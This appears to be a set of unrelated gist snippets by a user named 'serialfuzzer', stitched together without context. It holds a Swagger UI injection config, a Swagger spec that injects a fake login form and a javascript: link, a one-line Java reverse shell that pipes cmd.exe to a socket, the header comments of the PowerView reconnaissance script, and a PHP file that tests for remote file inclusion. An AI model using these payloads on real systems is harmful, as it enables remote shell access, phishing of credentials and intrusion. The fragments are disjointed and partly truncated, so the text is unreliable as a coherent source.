serialfuzzer

{
    "url": "https://gist.githubusercontent.com/serialfuzzer/346ccca91fc896df1c3e893094173eab/raw/9ebddf803a1f775808c9b8600459dbbbd06997fa/test.yaml",
    "urls": [
        {
            "url": "https://gist.githubusercontent.com/serialfuzzer/346ccca91fc896df1c3e893094173eab/raw/9ebddf803a1f775808c9b8600459dbbbd06997fa/test.yaml",
            "name": "Test"
        }
    ]
}

serialfuzzer

swagger: '2.0'
info:
  version: 1.0.0
  title: Fake Login Page
  description: '<div class="login-form">
    <div class="heading">
        <h1>HTML Injection : Fake Login</h1>
        <a href="javascript:alert`1337">clickme</a>
    </div>
    <div class="form-container">

serialfuzzer

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

serialfuzzer

# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set

serialfuzzer

<?php
    echo "[+] Vulnerable to RFI";
?>